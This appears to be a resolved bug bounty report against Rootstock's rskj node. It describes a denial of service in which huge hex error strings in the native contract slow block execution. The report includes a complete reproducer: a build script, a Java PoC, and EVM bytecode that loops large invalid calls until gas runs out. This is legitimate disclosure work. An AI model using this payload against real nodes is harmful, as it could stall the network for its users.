Loading HuntDB...

Crafted smart contract can take ~23 seconds to execute due to immense error string construction

Medium
R
Rootstock Labs
Submitted None
Reported by guido

Vulnerability Details

Technical details and impact analysis

Uncontrolled Resource Consumption
Calling the native contract (`rskj-core/src/main/java/co/rsk/pcc/NativeContract.java`) with an invalid, large input (1081344 bytes -- I experimentally determined that this is about the slowest I can go) in an infinite loop (until gas runs out) takes about 70 seconds on my machine (I assume ~23 seconds on your machine). (Slightly faster than https://hackerone.com/reports/2489843). The cause of the issue is that `NativeContract.execute` constructs the entirety of the input message as a hex string for logging and throwing an exception: https://github.com/rsksmart/rskj/blob/e130ef722ca87eb881d4da435b30ec23f8fee15a/rskj-core/src/main/java/co/rsk/pcc/NativeContract.java#L122 ```cpp String errorMessage = String.format("Invalid data given: %s.", ByteUtil.toHexString(data)); ``` If you change this to (for the sake of demonstration): ```cpp String errorMessage = String.format("Invalid data given: %s.", ""); ``` The reproducer finishes in about 4.4 seconds (on my machine). The reproducer below disables logging; if this is enabled by default on production nodes, it will presumably take even longer. ```sh wget -q https://download.java.net/java/GA/jdk11/9/GPL/openjdk-11.0.2_linux-x64_bin.tar.gz tar zxf openjdk-11.0.2_linux-x64_bin.tar.gz export JAVA_HOME=$(realpath jdk-11.0.2/) git clone --depth 1 https://github.com/rsksmart/rskj.git cd rskj/ echo "task testJar(type: Jar) {" >>rskj-core/build.gradle echo " from sourceSets.test.output" >>rskj-core/build.gradle echo " classifier = 'tests'" >>rskj-core/build.gradle echo "}" >>rskj-core/build.gradle echo "assemble.dependsOn(testJar)" >>rskj-core/build.gradle ./configure.sh # Disable logging echo """<?xml version=\"1.0\" encoding=\"UTF-8\"?> <configuration> <root level=\"OFF\"> </root> </configuration>""" >rskj-core/src/test/resources/logback.xml # Build rskj ./gradlew assemble # Construct reproducer echo """ import co.rsk.config.TestSystemProperties; import co.rsk.config.VmConfig; import java.util.HashSet; import javax.xml.bind.DatatypeConverter; import co.rsk.test.builders.AccountBuilder; import co.rsk.test.builders.TransactionBuilder; import org.ethereum.config.blockchain.upgrades.ActivationConfig; import org.ethereum.config.blockchain.upgrades.ActivationConfigsForTest; import org.ethereum.core.BlockFactory; import org.ethereum.core.BlockTxSignatureCache; import org.ethereum.core.ReceivedTxSignatureCache; import org.ethereum.vm.*; import org.ethereum.vm.program.Program; import org.ethereum.vm.program.invoke.ProgramInvokeMockImpl; import org.ethereum.core.Account; import org.ethereum.core.Transaction; import java.math.BigInteger; public class Poc { static private final TestSystemProperties config = new TestSystemProperties(); static private final PrecompiledContracts precompiledContracts = new PrecompiledContracts(config, null, new BlockTxSignatureCache(new ReceivedTxSignatureCache())); static private final BlockFactory blockFactory = new BlockFactory(config.getActivationConfig()); static private VmConfig vmConfig = config.getVmConfig(); static private ProgramInvokeMockImpl invoke = new ProgramInvokeMockImpl(); static private ActivationConfig.ForBlock activations = ActivationConfigsForTest.lovell700().forBlock(0); private static Transaction createTransaction() { int number = 0; AccountBuilder acbuilder = new AccountBuilder(); acbuilder.name(\"sender\" + number); Account sender = acbuilder.build(); acbuilder.name(\"receiver\" + number); Account receiver = acbuilder.build(); TransactionBuilder txbuilder = new TransactionBuilder(); return txbuilder.sender(sender).receiver(receiver).value(BigInteger.valueOf(1000)).build(); } public static void main(String[] args) { TestSystemProperties config = new TestSystemProperties(); PrecompiledContracts precompiledContracts = new PrecompiledContracts(config, null, new BlockTxSignatureCache(new ReceivedTxSignatureCache())); BlockFactory blockFactory = new BlockFactory(config.getActivationConfig()); VmConfig vmConfig = config.getVmConfig(); ProgramInvokeMockImpl invoke = new ProgramInvokeMockImpl(); ActivationConfig.ForBlock activations = ActivationConfigsForTest.arrowhead600().forBlock(0); invoke.setGas(6800000); /* block limit */ byte[] code = DatatypeConverter.parseHexBinary( \"5b6000600062108000600063010000095afa50600056\"); VM vm = new VM(vmConfig, precompiledContracts); Transaction transaction = createTransaction(); Program program = new Program(vmConfig, precompiledContracts, blockFactory, activations, code, invoke, transaction, new HashSet<>(), new BlockTxSignatureCache(new ReceivedTxSignatureCache())); try { while (!program.isStopped()) vm.step(program); } catch (RuntimeException e) { program.setRuntimeFailure(e); } } }""" >Poc.java # Build reproducer $JAVA_HOME/bin/javac -cp rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-tests.jar:rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-all.jar Poc.java # Run reproducer time $JAVA_HOME/bin/java -cp .:rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-tests.jar:rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-all.jar Poc ``` I will only submit one bug at a time. The sooner a bounty is rewarded, the sooner I will submit more bugs. Thanks. ## Impact Stall the network.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Uncontrolled Resource Consumption